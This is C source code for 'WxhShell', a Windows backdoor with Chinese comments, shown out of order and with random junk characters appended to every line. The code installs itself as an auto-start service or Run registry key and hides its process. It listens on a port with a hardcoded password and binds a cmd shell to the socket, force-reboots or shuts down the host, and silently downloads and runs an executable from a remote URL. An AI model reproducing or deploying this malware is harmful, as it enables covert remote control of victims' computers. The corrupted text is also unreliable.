    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G"(!5+DLy  
    else { [VH t#JuN,  
    closesocket(wsh); #k6T_ki  
    ExitThread(0); SqLKF<tY]/  
    } [ CY=  
    break; j@f(cRAf#  
    } U/;Vge8{  
  // 获取shell 1>LquZ+Kj  
  case 's': { scmb DaOn  
    CmdShell(wsh); %\u>%s <9  
    closesocket(wsh); "@_f>3z  
    ExitThread(0); ?uLqB@!2  
    break; v,! u{QP  
  } iW)Ou?aS  
  // 退出 hi%>&i*  
  case 'x': { {WChD&v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6\L,L &  
    CloseIt(wsh); VEk|lX;2  
    break; .)Q'j94Q  
    } CEiG jo^  
  // 离开 f3O'lc3  
  case 'q': { }OZfsYPz}T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d p].FS  
    closesocket(wsh); qp8;=Nfa  
    WSACleanup(); x :s-\>RcA  
    exit(1); 3zkq'lZ  
    break; d4U_Wu&  
        } -#@;-2w  
  } {Ffr l(*  
  } bk 2vce&  
2epL!j)Wh  
  // 提示信息 uu:BN0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fQ@["b   
} o5d)v)Rx=  
  } pE#0949  
QGa"HG5NF  
  return; -3C~}~$>`  
} . Hw^Nx  
H Zc;.jJ  
// shell模块句柄 iD9GAe}x  
int CmdShell(SOCKET sock) kE1u-EA  
{ R~o?X ^^O  
STARTUPINFO si; qohUxtnTK>  
ZeroMemory(&si,sizeof(si)); ay2.C BF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pAYuOk9n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {chl+au*l  
PROCESS_INFORMATION ProcessInfo; g~]FI  
char cmdline[]="cmd"; W/+0gh7`,(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }5|uA/B  
  return 0; q>?oV(sF  
} :'03*A_[  
JL1Whf  
// 自身启动模式 M~v{\!S  
int StartFromService(void) d] {^  
{ N 6eY-`4y  
typedef struct 2gi`^%#k]  
{ FTn[$q  
  DWORD ExitStatus; 3Dy.mtP  
  DWORD PebBaseAddress; 5,A/6b  
  DWORD AffinityMask; "{}5uth  
  DWORD BasePriority; 2Ig.hnHj  
  ULONG UniqueProcessId; ZCa?uzeo]  
  ULONG InheritedFromUniqueProcessId; BX?Si1c  
}   PROCESS_BASIC_INFORMATION;  z>!b  
?%?@?W>s@  
PROCNTQSIP NtQueryInformationProcess; @uHNz-c  
q~lmOT~E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^K8Ey#T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k&^fIz  
crUXpD  
  HANDLE             hProcess; dS-l2 $n  
  PROCESS_BASIC_INFORMATION pbi; 2Tp.S3  
~<aCn-h0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a`}HFHm\2,  
  if(NULL == hInst ) return 0; F2#^5s(  
>R6Me*VR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E/ Pa0.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L(iWFy1& T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |zSkQ_?54  
@?z*: 7a  
  if (!NtQueryInformationProcess) return 0; jl@xcs]#  
VE!h!`<k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /W%{b:  
  if(!hProcess) return 0; %@LVoP!@!  
3.Y/ZWON  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0HE@L_$;2  
Al! P=h  
  CloseHandle(hProcess); 3AWg43L7  
&BP%~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M!,WU[mP  
if(hProcess==NULL) return 0;  {sbQf7)  
V7.EDE2A3  
HMODULE hMod; NcdOzx>  
char procName[255]; =OCHV+m  
unsigned long cbNeeded; /P320[B}m&  
4e* rBTl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8{'L:yzMY  
#=h~Lr'UH  
  CloseHandle(hProcess); Q\}5q3  
hW]:CIqk  
if(strstr(procName,"services")) return 1; // 以服务启动 7 'N&jI   
A+AqlM+$i  
  return 0; // 注册表启动 94A re<  
} U:p<pTnMR  
TRa|}JaI"  
// 主模块 B#8!8  
int StartWxhshell(LPSTR lpCmdLine) hl8[A-d(R  
{ mI-$4st]  
  SOCKET wsl; \ qKh9  
BOOL val=TRUE; /K1YDq<=  
  int port=0; v. !L:1@I.  
  struct sockaddr_in door; ka655O/)&  
#49,7OBU  
  if(wscfg.ws_autoins) Install(); JpN+'/  
x)s`j(pYC  
port=atoi(lpCmdLine); Que-  
YajUdpJi  
if(port<=0) port=wscfg.ws_port; 0I1bY]*  
E`$d!7O  
  WSADATA data; =98@MX%P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [+UF]m%W  
bNi\+=v<Ys  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?FJU>+{">  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K.B!-<  
  door.sin_family = AF_INET; =5isT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3x=T &X+  
  door.sin_port = htons(port); qh{hpX)\D  
Pi`}-GUe,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +9M#-:qB  
closesocket(wsl); XI@;;>D1=U  
return 1; )V7bi^r  
} SRyAW\*LWU  
Zgd| J T7  
  if(listen(wsl,2) == INVALID_SOCKET) { |4UW.dGHPo  
closesocket(wsl);  s'RE~,  
return 1; XX+%:,G  
} KFx4"f%  
  Wxhshell(wsl); "{Lp'+wNw  
  WSACleanup(); X)P9f N~7  
q &#f#Ou  
return 0; pKMy:j  
f!AcBfaLr  
} @uXF(KDX  
Yv\>\?865  
// 以NT服务方式启动 N$i!25F`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) { HHc} 8  
{ jt=%oa  
DWORD   status = 0; ]y:2OP  
  DWORD   specificError = 0xfffffff; +/E`u|%|\]  
1%g%I8W%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4CCtLHb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  Em?bV(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `saDeur#X  
  serviceStatus.dwWin32ExitCode     = 0; D<% /:M  
  serviceStatus.dwServiceSpecificExitCode = 0; 8iQ8s;@S&>  
  serviceStatus.dwCheckPoint       = 0; ap,%)on^  
  serviceStatus.dwWaitHint       = 0; = wEU+R_#o  
 xY v@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YBF|0A{[Y  
  if (hServiceStatusHandle==0) return; 4Qwv:4La  
r2"B"%;  
status = GetLastError(); UaG })  
  if (status!=NO_ERROR) t*KgCk1  
{ G*`Y~SJp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a*/%EP3  
    serviceStatus.dwCheckPoint       = 0; 2"~|k_  
    serviceStatus.dwWaitHint       = 0; ;d5d$Np@m&  
    serviceStatus.dwWin32ExitCode     = status; uf q9+}  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ls51U7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l7vU{Fd-h^  
    return; F)XO5CBK  
  } },#@q_E  
l<X8Ooan#{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =zBc@VTp  
  serviceStatus.dwCheckPoint       = 0; IHC {2 ^  
  serviceStatus.dwWaitHint       = 0; xQ~}9Kt\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,0k3Qi%  
} 4@0y$Dv\  
[ H|ifi  
// 处理NT服务事件,比如:启动、停止 Oc A;+}>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A43 mX !g\  
{ q}x+#[Ef  
switch(fdwControl) @ (4$<><  
{ }*Z *wC  
case SERVICE_CONTROL_STOP: uPh/u!  
  serviceStatus.dwWin32ExitCode = 0; 3FetyW l'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pd%h5|*n;  
  serviceStatus.dwCheckPoint   = 0; 'fo.1  
  serviceStatus.dwWaitHint     = 0; ):<9j"Z;At  
  { 'TwvkU"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r" 4u)H>  
  } *M^(A}+O  
  return; ?azi(ja  
case SERVICE_CONTROL_PAUSE: Lfr>y_i;F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ynxzkm S  
  break; O> .gcLA  
case SERVICE_CONTROL_CONTINUE: Z2@_F7cXt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iC(&U YL  
  break; ;cpQ[+$nKp  
case SERVICE_CONTROL_INTERROGATE: _98 %?0  
  break; 9S<g2v  
}; pA?kv]l(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yl\p*j"Fid  
} .0=VQU  
P80mK-Iyv_  
// 标准应用程序主函数 4C]>{osv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V;@kWE>3  
{ 'jnR<>N  
wg.TCT2  
// 获取操作系统版本 "fH"U1Bw  
OsIsNt=GetOsVer(); lJ>OuSd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n=_jmR1  
v#X l  
  // 从命令行安装 25R6>CXsi  
  if(strpbrk(lpCmdLine,"iI")) Install(); #]SiS2lM#  
x b6X8:  
  // 下载执行文件 pXap<T  
if(wscfg.ws_downexe) { YZ\a#s ,0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4;;K1< 1  
  WinExec(wscfg.ws_filenam,SW_HIDE); P[q 'Y^\  
} OK8|w]-A  
=hAH6C  
if(!OsIsNt) { fY|P+{BO2  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^E]Xq]vd"  
HideProc(); e<Bw duy  
StartWxhshell(lpCmdLine); og$%`o:{  
} jXH?os%  
else 1^v?Ly8  
  if(StartFromService()) CO5>Q o  
  // 以服务方式启动 K+P:g%M  
  StartServiceCtrlDispatcher(DispatchTable); %Eq4>o?D  
else myq:~^L ;  
  // 普通方式启动 _]aA58,j  
  StartWxhshell(lpCmdLine); AhA4IOG`.  
.).}ffhOL  
return 0; ,'}qLor  
} N0mP EF2  
a@?2T,$  
+-$Hx5  
~[*\YN);  
=========================================== 42B_8SK  
6R=dg2tKT  
V!&O5T(~  
+ 7~u_J  
S!oG|%VuB#  
.$]%gjIBCl  
" +CaA%u  
;l$F<CzJay  
#include <stdio.h> Rzj1D:?X@  
#include <string.h> ]/cVlpZ{f  
#include <windows.h> N3U.62  
#include <winsock2.h> Xg^9k00C  
#include <winsvc.h> Tm) (?y  
#include <urlmon.h> kD?lMA__  
tqYwP Sr  
#pragma comment (lib, "Ws2_32.lib") :Sc"fG,g)  
#pragma comment (lib, "urlmon.lib") ZIr&_x#e  
iVdY\+N!<  
#define MAX_USER   100 // 最大客户端连接数 "54t7  
#define BUF_SOCK   200 // sock buffer |A/)b78'u  
#define KEY_BUFF   255 // 输入 buffer >0c4C< _  
@b]?Gg  
#define REBOOT     0   // 重启 9vL n#_  
#define SHUTDOWN   1   // 关机 z]d2 rzV(_  
Nk ~"f5q7  
#define DEF_PORT   5000 // 监听端口 +3wVcL  
6jaol'{SuH  
#define REG_LEN     16   // 注册表键长度 Uja`{uc  
#define SVC_LEN     80   // NT服务名长度 D *Hy 2eZ.  
xhTiOt6l  
// 从dll定义API W? SFt z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uKF)'gj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); | f}1bJE+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~u^MRe|`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $kD ;*v=  
S#[w).7  
// wxhshell配置信息 ^6kE tTO*  
struct WSCFG { =F 9!)r  
  int ws_port;         // 监听端口 K.P1|  
  char ws_passstr[REG_LEN]; // 口令 ^$VH~i&  
  int ws_autoins;       // 安装标记, 1=yes 0=no m2esVvP  
  char ws_regname[REG_LEN]; // 注册表键名 .W*"C  
  char ws_svcname[REG_LEN]; // 服务名 oEN^O:9e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }Kt1mmo:`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f8JWg9 m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 </B<=tc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no At$[&%}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "MX9h }7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +_"AF|  
Op>l~{{{  
}; Wm#F~<$  
aFf(m-  
// default Wxhshell configuration +5xVgIk#  
struct WSCFG wscfg={DEF_PORT, T-)lnrs^  
    "xuhuanlingzhe", g\~n5=-D  
    1, _GF{Duxh  
    "Wxhshell", WH^^.^(i  
    "Wxhshell", M:/)|fk  
            "WxhShell Service", j.:I{!R#  
    "Wrsky Windows CmdShell Service", )wdTs>W7  
    "Please Input Your Password: ", s+ a} _a:  
  1, tmVGJ+gz  
  "http://www.wrsky.com/wxhshell.exe", X :wfmb  
  "Wxhshell.exe" EH~t<  
    }; Nay&cOz  
1n-+IR"  
// 消息定义模块 S( Vssi|y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~|kSQ7O^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ax{C ^u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wfp>BC  
char *msg_ws_ext="\n\rExit."; EgB$y"fs  
char *msg_ws_end="\n\rQuit."; B$D7}=|kc  
char *msg_ws_boot="\n\rReboot...";  f2.|[  
char *msg_ws_poff="\n\rShutdown..."; !E.CpfaC  
char *msg_ws_down="\n\rSave to "; \\iX9-aI<  
rjWn>M  
char *msg_ws_err="\n\rErr!"; }_|qDMk+  
char *msg_ws_ok="\n\rOK!"; -F~"W@9r  
%k =c9ll@:  
char ExeFile[MAX_PATH]; 2|}`?bY]i`  
int nUser = 0; f3oGB*5>  
HANDLE handles[MAX_USER]; hj+iB,8  
int OsIsNt; Mv_-JE9#>o  
~/l5ys  
SERVICE_STATUS       serviceStatus; R^k)^!/$f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P,W(9&KM  
YQN@;  
// 函数声明 )Rc  
int Install(void); ~pWV[oUD  
int Uninstall(void); Tg_#z  
int DownloadFile(char *sURL, SOCKET wsh); &OXm^f)K  
int Boot(int flag); {({Rb$  
void HideProc(void); y*7{S{9  
int GetOsVer(void); 7 <<`9,  
int Wxhshell(SOCKET wsl); g|=1U  
void TalkWithClient(void *cs); t`Lh(`  
int CmdShell(SOCKET sock); 7N4)T'B  
int StartFromService(void); w:HRzU>  
int StartWxhshell(LPSTR lpCmdLine); n"g)hu^B  
3](At%ss  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aNDpCpy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vlVHoF;&  
W'! I+nh  
// 数据结构和表定义 35 d:r:  
SERVICE_TABLE_ENTRY DispatchTable[] = ArVW2gL  
{ K*9~ g('  
{wscfg.ws_svcname, NTServiceMain}, q~6a$8+t  
{NULL, NULL} }CGA)yK~3  
}; PfjD!=yS=h  
8{DW$Z tR  
// 自我安装 f~ P~%  
int Install(void) 34c+70x7  
{ 8z)J rO}  
  char svExeFile[MAX_PATH]; K)N'~jCG  
  HKEY key; S=_*<[W%4  
  strcpy(svExeFile,ExeFile); - jWXE  
k, >*.Yoh  
// 如果是win9x系统,修改注册表设为自启动 BG^)?_69  
if(!OsIsNt) { =k\Qx),Ir  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y"Ios:v@-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5a%i%+;N  
  RegCloseKey(key); ]QSQr *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k< $(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +N2R'Phv  
  RegCloseKey(key); g+%Pg@[  
  return 0; ,Fzuo:{uy  
    } vn1*D-?  
  } ]=G  dAW  
} r,Tq";N'  
else { }DFZ9,gQ  
(q}{;  
// 如果是NT以上系统,安装为系统服务 OfPv'rW{x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;U[W $w[  
if (schSCManager!=0) 7-("pp YX=  
{ AB=Wj*f r  
  SC_HANDLE schService = CreateService RgSB?  
  ( <Gj]XAoe%  
  schSCManager, avy@)iO7  
  wscfg.ws_svcname, on.m '-s  
  wscfg.ws_svcdisp, KMP[Ledr  
  SERVICE_ALL_ACCESS, lXip%6c7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hka`STK{  
  SERVICE_AUTO_START, O &}`R5Y;  
  SERVICE_ERROR_NORMAL, *0/%R{+S  
  svExeFile, YJB/*SV^  
  NULL, /[+qw%>  
  NULL, (sp{.bU  
  NULL, ;7U"wI_~c  
  NULL, 4vyJ<b  
  NULL ) ^ 7- qy  
  ); xp%LXx j  
  if (schService!=0) m2v'zJd}g  
  { 2Q)pT$  
  CloseServiceHandle(schService); chXTFLC~  
  CloseServiceHandle(schSCManager); eCwR }m?_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p+}eP|N  
  strcat(svExeFile,wscfg.ws_svcname); d6ckvD[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =VGRM#+D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >2ny/AK|  
  RegCloseKey(key); O2S{*D={  
  return 0; (".WJXB\  
    } 8V@\$4@b!#  
  } C] M{  
  CloseServiceHandle(schSCManager); plgiQr #  
} 7VW/v4n  
} IPk"{T3  
C j:  
return 1; 'tY y_  
} C^ZD Uj`  
&uXu$)IZ  
// 自我卸载 ofuQ`g1hb  
int Uninstall(void) UQO?hZ!y/.  
{ +?^lnoX  
  HKEY key; 5!qLJmd=  
CO{AC~  
if(!OsIsNt) { V`xE&BI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +m4?a\U  
  RegDeleteValue(key,wscfg.ws_regname); v-XB\|f  
  RegCloseKey(key); qkD9xFp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )TOKHN  
  RegDeleteValue(key,wscfg.ws_regname); /vAA]n8  
  RegCloseKey(key); #K\;)z(?  
  return 0; \ mg  
  } @!mjjeG+1  
} kY#sQz}8  
} <ELqj2`c  
else { T#ehJq 5  
[='<K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F32U;fp3  
if (schSCManager!=0) 0pA>w8mh  
{ B+lnxr0t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aj}#~v1  
  if (schService!=0) hD,@>ky  
  { [-2Tj)P C  
  if(DeleteService(schService)!=0) { $o^N_`l  
  CloseServiceHandle(schService); v2}>/b)  
  CloseServiceHandle(schSCManager); <zp|i#~  
  return 0; 9iN}v   
  } 2o1 RJk9  
  CloseServiceHandle(schService); ;_E][m  
  } Rip[  
  CloseServiceHandle(schSCManager); !uN_<!  
} FmhN*ZXr #  
} *wV`7\@  
L87=*_!B;  
return 1; %i@Jw  
} ~i=5NUE  
CM 8Ub%  
// 从指定url下载文件 rQ&F Gb  
int DownloadFile(char *sURL, SOCKET wsh) g&O!w!T  
{ +A<7:`sO  
  HRESULT hr; p"Q V| `  
char seps[]= "/"; ty b-VO  
char *token; 7F8>w 7Y]  
char *file; ^vc#)tm5p  
char myURL[MAX_PATH]; L lVE5f?  
char myFILE[MAX_PATH]; 6]Ri$V&"  
v,Yz\onB^  
strcpy(myURL,sURL); nACKSsWqI  
  token=strtok(myURL,seps); :.?%e{7  
  while(token!=NULL) *.zC9Y,  
  { +Ec@qP R&  
    file=token; tV9K5ON  
  token=strtok(NULL,seps); ya'OI P `  
  } no8FSqLUS~  
B8 R&Q8Q  
GetCurrentDirectory(MAX_PATH,myFILE); ci`N ,&:R  
strcat(myFILE, "\\"); ^spASG -o  
strcat(myFILE, file); CxJH)H$  
  send(wsh,myFILE,strlen(myFILE),0); mH7Mch| m  
send(wsh,"...",3,0); h;t5v6["  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kr74|W=  
  if(hr==S_OK) rB.LG'GG]  
return 0; W(jP??up  
else eG%Q 3h  
return 1; e*pYlm  
RhI>Ak;-  
} ){"-J&@?  
7hl,dtn7  
// 系统电源模块 ' O d_:]  
int Boot(int flag) #<gD@Jybu  
{ qh/}/Sl;  
  HANDLE hToken; A IsXu"  
  TOKEN_PRIVILEGES tkp; lU%L  
laGIu0s {  
  if(OsIsNt) { xkmqf7w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q|kkdK|N/Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VB@M=ShKK  
    tkp.PrivilegeCount = 1; kUQdi%3yY;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NZt 8L?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9Xeg &Z|!  
if(flag==REBOOT) { ?V(h@T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $s!2D"wl n  
  return 0; >l(|c9OWM  
} ~\[\S!"  
else { PVX23y;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) btv.M  
  return 0; v>p}f"$`  
} 17@#"uT0  
  } wQ~F%rQ$  
  else { :DR}lOi`  
if(flag==REBOOT) { Bey|f/ <  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |9fGn@-  
  return 0; ys Td'J  
} VTwJtWnq  
else { ^.(i!BG'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^y3snuLtE  
  return 0; +4m~D`fqt[  
} uz[5h0c  
} }?=4pGsI  
~{f[X3m^  
return 1; h . R bdG  
} !F~*Q2PZ9  
7N I~47s|v  
// win9x进程隐藏模块 B&4NdL/  
void HideProc(void) wd0*"c@  
{ A<P rsk!  
VXIB9 /*i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v="2p8@F  
  if ( hKernel != NULL ) F}{uY(hv"[  
  { A#8Dv&$Pr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Nq6>^ %  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ahx*Ti/e  
    FreeLibrary(hKernel); GHR,KB7 xM  
  } D?}K|z LQ  
EmubpUS;  
return; br_D Orq|  
} G5'HrV  
yfCdK-9+B  
// 获取操作系统版本 8^av&u$  
int GetOsVer(void) 5_= HtM[v]  
{ 6 xAR:  
  OSVERSIONINFO winfo; V~_aM@q1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "`aLSw75x  
  GetVersionEx(&winfo); R[{s\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iK <vr  
  return 1; 7S)u7  
  else Fun+L@:;  
  return 0; tP]-u3  
} o2r)K AA  
sU 5/c|&  
// 客户端句柄模块 >(39K  
int Wxhshell(SOCKET wsl) j SXVLyz  
{ y%=t((.Z  
  SOCKET wsh; Cz]NSG5  
  struct sockaddr_in client; K!BS?n;  
  DWORD myID; >r~!'Pd!  
gQ~X;'  
  while(nUser<MAX_USER) :;u?TFCRx  
{ mQy!*0y  
  int nSize=sizeof(client); c&n.JV   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NY9\a[[^[8  
  if(wsh==INVALID_SOCKET) return 1; Gtpl5gQH  
>{huaN B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ew{(@p+$  
if(handles[nUser]==0) B0#JX MX9  
  closesocket(wsh); 6N {|;R@2  
else 6 s1lf!  
  nUser++; pv9Z-WCix$  
  } [ #1<W`95  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'Z=8no`<  
y0f"UH/   
  return 0; yJG M"$  
} l=?G"1  
5 Yf T  
// 关闭 socket )Me$BK>  
void CloseIt(SOCKET wsh) TSHQ>kP  
{ ^ ;XJG9a0\  
closesocket(wsh); ?7"6d p_K  
nUser--; =w <;tb  
ExitThread(0); sGs_w:Hn  
} Y}Gf%Xi,  
YdNmnB %J  
// 客户端请求句柄 |Xv]s61  
void TalkWithClient(void *cs) ,2?Sua/LD  
{ )S 2GPn7  
7U_OUUg  
  SOCKET wsh=(SOCKET)cs; |SfmQ;  
  char pwd[SVC_LEN]; 9et%Hn.K'  
  char cmd[KEY_BUFF]; N5\]VCX  
char chr[1]; _6k ej#o8  
int i,j; 7C"&f *lEi  
J5 2- qR/  
  while (nUser < MAX_USER) { ` $N()P  
&q0s8'qA  
if(wscfg.ws_passstr) { a-<&(jV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /6PL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #)hJ.0~3  
  //ZeroMemory(pwd,KEY_BUFF); Bp>Z?"hTe  
      i=0; (viGL|Ogn  
  while(i<SVC_LEN) { bw& U[|A0%  
s 8 c#_  
  // 设置超时 WY 'QhieH  
  fd_set FdRead; F.[E;gOTo  
  struct timeval TimeOut; :$J4T;/{  
  FD_ZERO(&FdRead); _bm8m4Lk  
  FD_SET(wsh,&FdRead); E|K~WO]>o  
  TimeOut.tv_sec=8; +#a_Y  
  TimeOut.tv_usec=0; \Q m1+tg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); />,KWHR|:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9yt)9f  
PBo;lg`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qZz?i  
  pwd=chr[0]; ;H;c Sn5uL  
  if(chr[0]==0xd || chr[0]==0xa) { RAps`)OR?  
  pwd=0; 0l&#%wmJ,  
  break; h~R= ?%H[  
  } a(BEm_l3  
  i++; y>YQx\mK  
    } |MQ_VZ{6  
Q"+)xj  
  // 如果是非法用户,关闭 socket [x\?._>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 48 n5Y~YS  
} gc KXda(  
>.X& v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?\7$63gBH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i,z^#b7JQ  
$63_* 9  
while(1) { aUTXg60l*  
$>csm  
  ZeroMemory(cmd,KEY_BUFF); ;VI/iwg  
mufJ@YS#  
      // 自动支持客户端 telnet标准   `: R7j f  
  j=0; |k ]{WCD]  
  while(j<KEY_BUFF) { S(\<@S&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w#Di  
  cmd[j]=chr[0]; `BOG e;pl  
  if(chr[0]==0xa || chr[0]==0xd) { z&a>cjt_;  
  cmd[j]=0; 8,^2'dK34  
  break; MaS"V`NI  
  } R$Or&:E ^  
  j++; K#>@T<  
    } Y_SB3 $])  
E[8R )xC@  
  // 下载文件 2#hfBJg@  
  if(strstr(cmd,"http://")) { k=D}i\F8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [')C]YQb=  
  if(DownloadFile(cmd,wsh)) ,N`cH\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e*?@6E  
  else eF%>5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cFF'ygJ/  
  } &u}]3E'-k  
  else { 94CHxv  
#i1z&b#@  
    switch(cmd[0]) { |Y")$pjz  
  "gCqb;^  
